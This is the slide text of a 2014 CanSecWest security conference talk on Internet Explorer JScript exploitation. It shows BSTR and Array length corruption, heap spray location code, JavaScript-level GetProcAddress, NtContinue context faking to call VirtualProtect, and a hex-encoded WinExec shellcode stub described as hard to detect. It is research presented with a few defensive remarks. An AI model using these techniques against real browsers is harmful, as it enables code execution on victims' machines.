ROPs are for the 99%
Yang Yu at NSFOCUS Security Lab
CanSecWest 2014
public
www.nsfocus.com
nsfocus.com
© 2014 NSFOCUS
Agenda
Who am I
Background
“Vital Point Strike”
“Interdimensional Execution”
Who am I
Researcher at NSFOCUS Security Lab since 2002
http://twitter.com/tombkeeper
Focus on:
APT/0-Day detection
Vulnerability & Exploit
Wireless & Mobile
Many other geek things
Before 2002, I am…
Previously
Now
This is what I want to present:
This is my original presentation plan:
After negotiation with Microsoft…
Finally, this is what I will present today:
Background
About BSTR
Once upon a time,
JScript use BSTR to store String object data
struct BSTR {
LONG length;
WCHAR* str;
}
var str = “AAAAAAAA”;
0:016> dd 120d0020
120d0020 00000010 00410041 00410041 00410041
120d0030 00410041 00000000 00000000 00000000
Corrupt BSTR prefix
var str = “AAAAAAAA”;
0:016> dd 120d0020
120d0020 00000010 00410041 00410041 00410041
120d0030 00410041 00000000 00000000 00000000
writeByVul(0x120d0020, 0x7ffffff0);
0:016> dd 120d0020
120d0020 7ffffff0 00410041 00410041 00410041
120d0030 00410041 00000000 00000000 00000000
var outofbounds = str.substr(0x22222200,4);
* Peter Vreugdenhil, “Pwn2Own 2010 Windows 7 Internet Explorer 8 exploit”
Locate the address of BSTR prefix
var strArr = heapSpray("\u0000");
var sprayedAddr = 0x14141414;
var i, p, modified, leverageStr, bstrPrefixAddr;
writeByVul(sprayedAddr);
for (i = 0; i < strArr.length; i++) {
p = strArr[i].search(/[^\u0000]/);
if (p != -1) {
modified = i;
leverageStr = strArr[modified];
bstrPrefixAddr = sprayedAddr - (p)*2 - 4;
break;
}
}
* Fermin J. Serna, “The info leak era on software exploitation”
JScript 9 replaced JScript 5.8 since IE 9.
JScript 9 does not use BSTR now,
so exploiters switch to
flash vector object.
Actually, JScript 5.8 is still there.
We can summon it back.
The spell to summon JScript 5.8 back
or
* Some features are not supported with JScript.Compact, like eval().
Seems we’ve already done:
Summon JScript 5.8 back
↓
Locate and corrupt BSTR prefix
↓
Info leak
↓
ROP
But, is JScript 9 really unexploitable?
JScript 9 VS JScript 5.8
• Internal implementations are very different
– Size of jscript.dll is about 800K
– Size of jscript9.dll is about 2800K
• Nearly identical for web developers
• Very different for exploit developers
• JScript 9 is designed to fast, security is not the
highest priority
– We should thanks V8 and those speed tests
About JScript 9
I don’t have enough time to fully talk about the
internals of JScript 9 today, but I can tell you:
JScript 9 is more exploit-friendly.
Custom heaps, no gaps, less random
More raw internal data structures
More “interesting” objects
…
Although JScript 9 no longer use BSTR to store
String object data, but there is some other new
data structures like BSTR.
JScript 9 String object spray
var str = "AA";
for (var i = 0 ; i < count ; i++)
{
strArr[i] = str.substr(0,2);
}
0:017> dd
12120000
12120010
12120020
12120030
12120040
12120050
0:017> du
02deafb8
12120000
68347170
02deafb8
68347170
02deafb8
68347170
02deafb8
02deafb8
"AA"
02f8ff70
00000000
02f8ff70
00000000
02f8ff70
00000000
00000002
00000000
00000002
00000000
00000002
00000000
02deafb8
00000000
02deafb8
00000000
02deafb8
00000000
Array data: JScript 9 “BSTR”
var count = (0x80000-0x20)/4;
var intArr = new Array(count);
for(var i=0; i dd
01c3f9c0
01c3f9d0
01c3f9e0
0:014> dd
0d060000
0d060010
0d060020
01c3f9c0 l 4*3
6eb74534 031f6940
0001fff8 0d0d0010
00000001 01a00930
0d060010-10 l 4*3
00000000 0007fff0
00000000 0001fff8
11111111 11111111
// 0x0001fff8
00000000 00000005
0d0d0010 00000000
00000000 00000000
00000000 00000000
0001fff8 00000000
11111111 11111111
* Test environment is Internet Explorer 11
Locate the address of Array data length
var sprayedAddr = 0x14141414;
var arrLenAddr = -1;
var intArr = arrSpray( 0x11111111, count, size );
writeByVul(sprayedAddr);
for (i = 0 ; i < count ; i++)
{
for (j = 0 ; j < size ; j++)
{
if(intArr[i][j] != 0x11111111 )
{
arrLenAddr = sprayedAddr-j*4-8;
break;
}
}
if(arrLenAddr != -1) break;
}
Corrupt JScript 9 Array data prefix
writeByVul(0x0d0d0018 , 0x30000000);
0:004> dd
0d0d0000
0d0d0010
0d0d0020
0d0d0010-10 l 4*3
00000000 0007fff0 00000000 00000000
00000000 0001fff8 30000000 00000000
11111111 11111111 11111111 11111111
The out-of-bounds read will be failed if only enlarge length in
the Array data prefix, this is due to JScript 9 will check the
length in Array object structure while reading Array data.
var outofbounds = intArr[0x40000]; // failure
JScript 9 Array data length mojo
But the out-of-bounds writing can be conducted, and the length
in Array object structure will be rewrote automatically, then we
can proceed with the out-of-bounds read operation.
intArr[0x00200200] = 0x22222222;
0:004> dd
0d0d0000
0d0d0010
0d0d0020
0:004> dd
01c3f9c0
01c3f9d0
01c3f9e0
0d0d0010-10 l 4*3
00000000 0007fff0
00000000 00200201
11111111 11111111
01c3f9c0 l 4*3
6eb74534 031f6940
00200201 0d0d0010
00000001 01a00930
00000000 00000000
30000000 00000000
11111111 11111111
00000000 00000001
0d0d0010 00000000
00000000 00000000
var outofbounds = intArr[0x40000]; // success
Noteworthy new “interesting” objects
Int8Array
Int16Array
Int32Array
ArrayBuffer
Object
Object
Object
Object
Uint8Array
Uint16Array
Uint32Array
DataView
Object
Object
Object
Object
Make it more easier to read and write memory
* Supported in Internet Explorer 10 and Internet Explorer 11
Questions left for you
How to turn “calling UAF” to “rewriting UAF”?
How to trigger a rewriting UAF multiple times?
Since BSTR use system heap, how to bypass heap gaps
in Windows 8/8.1 when using BSTR trick?
String object is read only, how to write memory in
JScript 5.8?
How to read or write an address if it is lower than
the corrupted object or BSTR?
How to corrupt an object or BSTR to out-of-bounds read
if the vulnerability is just “mov [eax+4], 0”?
“Rewriting UAFs” is not rare: CVE-2013-0087, CVE-2013-0094,
CVE-2013-2551, CVE-2013-3111, CVE-2013-3123, CVE-20133146, CVE-2013-3914, CVE-2013-3915, CVE-2014-0322…
And many other UAFs can be converted to “rewriting UAFs”.
But not every rewriting is exploit-friendly.
How to exploit all of them?
mov dword ptr [ecx+8],
or
dec
inc
and
mov
dword
dword
dword
dword
dword
ptr
ptr
ptr
ptr
ptr
eax
[esi+8],
0x20000
[eax+8]
[eax+0x10]
[ebx],
0
[eax+4],
0
So are we done now?
Summon JScript 5.8 back to
locate and corrupt BSTR prefix,
or use some JScript 9 mojo to
do the same thing
↓
Info leak
↓
ROP
But I am too lazy to ROP
“Vital Point Strike”
A vital point is a point in the
human body that, when
pressure is applied, produces
crippling pain, even leads to
serious injury or death.
In memory, there are also some “vital points”,
as long as even one byte be overwritten, your
browser(not only IE) will enter GOD MODE.
Vital Point Strike don’t need ROP or Shellcode.
“Interdimensional Execution”
function GetBaseAddrByPoiAddr()
Even under ASLR, module address is 0x10000
aligned, so we can find the base address of the
module according any pointer like this:
function GetBaseAddrByPoiAddr( PoiAddr )
{
var BaseAddr = 0;
BaseAddr = PoiAddr & 0xFFFF0000;
while( readDword(BaseAddr)
!= 0x00905A4D ||
readDword(BaseAddr+0xC) != 0x0000FFFF
)
{
BaseAddr -= 0x10000;
}
return BaseAddr;
}
function GetModuleFromImport()
We can read the import table of a module, find
out the base address of kernel32.dll or others:
function GetModuleFromImport( ModuleName, LibAddr )
{
var p
= 0;
var pImport; // PIMAGE_IMPORT_DESCRIPTOR
p = readDword(LibAddr + 0x3C);
p = readDword(LibAddr + p + 0x80);
pImport = LibAddr + p;
while( readDword(pImport+0x0C) != 0 )
{
…
function GetProcAddress()
Since we can read PE data, certainly we can
write a JS version GetProcAddress():
function GetProcAddress( LibAddr, ProcName )
{
var FuncAddr;
var pExport;
var pNameBase;
var AddressOfNameOrdinals;
…
p = readDword(LibAddr + 0x3C);
p = readDword(LibAddr + p + 0x78);
pExport = LibAddr + p;
NumberOfNames = readDword(pExport + 0x18);
…
Now, we can do this in JS just like in C:
var
var
var
var
var
var
…
jscript9 = GetBaseAddrByPoiAddr(jsobj);
kernel32 = GetModuleFromImport("kernel32.dll", jscript9);
ntdll
= GetModuleFromImport("ntdll.dll", kernel32);
VirtualProtect = GetProcAddress(kernel32, "VirtualProtect");
WinExec
= GetProcAddress(kernel32, "WinExec");
NtContinue
= GetProcAddress(ntdll, "NtContinue");
NtContinue()
NTSTATUS NTAPI NtContinue(
IN PCONTEXT ThreadContext,
IN BOOLEAN RaiseAlert
);
NtContinue can control the value of all registers,
including the EIP and ESP.
Value of the second parameter does not affect
the main function of NtContinue.
struct _CONTEXT
#define CONTEXT_i386
0x00010000
#define CONTEXT_CONTROL (CONTEXT_i386|0x00000001L)
#define CONTEXT_INTEGER (CONTEXT_i386|0x00000002L)
…
typedef struct _CONTEXT
{
ULONG ContextFlags;
…
ULONG Eip;
ULONG SegCs;
ULONG EFlags;
ULONG Esp;
ULONG SegSs;
UCHAR ExtendedRegisters[512];
} CONTEXT, *PCONTEXT;
Object operation call
Array object:
0:019> dd 14162050
14162050 681b4534 035f46a0 00000000 00000005
14162060 00000001 14162078 14162078 00000000
Trigger a function pointer call:
var n = intArr[i].length;
eax=681b4534 ebx=00000000 ecx=14162050 edx=14162050
esi=02da4b80 edi=00000073 eip=681bda81 esp=03ddab84
Js::JavascriptOperators::GetProperty_Internal<0>+0x4c:
681bda81 ff5040 call dword ptr [eax+40h]
0:007> dd esp
03ddab84 14162050 00000073 03ddabdc 00000000
One stone, two birds
0:019> dd 14162050
14162050 12161003 00000000 00000000 00000000
0:019> dt _CONTEXT ContextFlags Eip Esp 14162050
+0x000 ContextFlags : 0x12161003
+0x0b8 Eip
: 0x75f310c8 // VirtualProtect
+0x0c4 Esp
: 0x14180000 // faked stack
0:019> dds 12161003
12161003 770ffef0 ntdll!NtContinue
12161007 770ffef0 ntdll!NtContinue
…
eax=12161003 ebx=00000000 ecx=14162050 edx=14162050
esi=02da4b80 edi=00000073 eip=681bda81 esp=03ddab84
Js::JavascriptOperators::GetProperty_Internal<0>+0x4c:
681bda81 ff5040 call dword ptr [eax+40h]
0:007> dd esp
03ddab84 14162050 00000073 03ddabdc 00000000
Fake ThreadContext
ThreadContext.Eip VirtualProtect()
ThreadContext.Esp
BOOL WINAPI VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
Pointer to Shellcode
lpAddress
dwSize
PAGE_EXECUTE_READWRITE
lpflOldProtect
PS: Since we already known the Shellcode address, and we can
using JS version GetProcAddress() to provide function address,
so the Shellcode do not need GetPC, ReadPEB, GetKernel32,
etc. I t could be difficult to detect and identify.
“Interdimensional”
ebp
Dimension 1
Dimension 2
Native
Script
0x????????
0x????????
…
…
FF5504 call [ebp - 4]
50
push eax
…
…
var OpenProcess
= …
var DeviceIoControl = …
…
scArr[0] = OpenProcess;
scArr[1] = DeviceIoControl;
…
…
scArr[?] = 0x500455FF
…
…
Using C to write native Shellcode
struct _PointerTable
{
FARPROC WinExec;
FARPROC ExitProcess;
char
*szath;
};
void ShellCode(void)
{
struct _PointerTable pt;
__asm mov ebp, 0xAAAAAAAA
pt.WinExec( pt.szath, SW_SHOWNORMAL );
pt.ExitProcess(0);
}
Native dimention
_ShellCode:
00000000: 55
00000001: 8BEC
00000003: 83EC0C
00000006: BDAAAAAAAA
0000000B: 6A01
0000000D: FF75FC
00000010: FF55F4
00000013: 6A00
00000015: FF55F8
00000018: C9
00000019: C3
push
mov
sub
mov
push
push
call
push
call
leave
ret
ebp
ebp,esp
esp,0x0C
ebp,0xAAAAAAAA
1
dword ptr [ebp-4]
dword ptr [ebp-0x0C]
0
dword ptr [ebp-8]
558BEC83EC0CBDAAAAAAAA6A01FF75FCFF55F46A00FF55F8C9C3
Script dimention
var WinExec = GetProcAddress(kernel32, "WinExec");
…
ptArr[0] = WinExec;
ptArr[1] = ExitProcess;
ptArr[2] = strCalcAddr;
…
var scStr = "558BEC83EC0CBD" +
numToHexStr(ptArrAddr + 0x0C) +
"6A01FF75FCFF55F46A00FF55F8C9C3";
writeHexStrToArr(scStr, scArr);
stackArr[esp]
= scArrAddr;
// return address
stackArr[esp+1] = makeAlign(scArrAddr);
stackArr[esp+2] = 0x4000;
// size
stackArr[esp+3] = 0x40;
// RWE flag
stackArr[esp+4] = stackArrAddr;
…
• I call this technique “Interdimensional Execution”
– Script dimension, native dimension
• A little bit like ROP, but totally not ROP
– No fixed address, no fixed offset
• Incredible universal
– Software/OS version-independent
• Not only effective for IE
• Not only effective for Windows
“Vital Point Strike” and “Interdimensional
Execution” are different from traditional
exploit technique.
Make sure your APT detection system can
handle them.
Off topic
How to defend against unknown attacks ?
Dynamic data flow tracking
Control flow integrity checking
Shellcode detection
Heapspray detection
…
Know your enemy, surpass your enemy
“While you do not know life,
how can you know about
death ?”
“未知生,焉知死?”
Confucius
While you do not know attack,
how can you know about
defense ?
未知攻,焉知防?
Q&A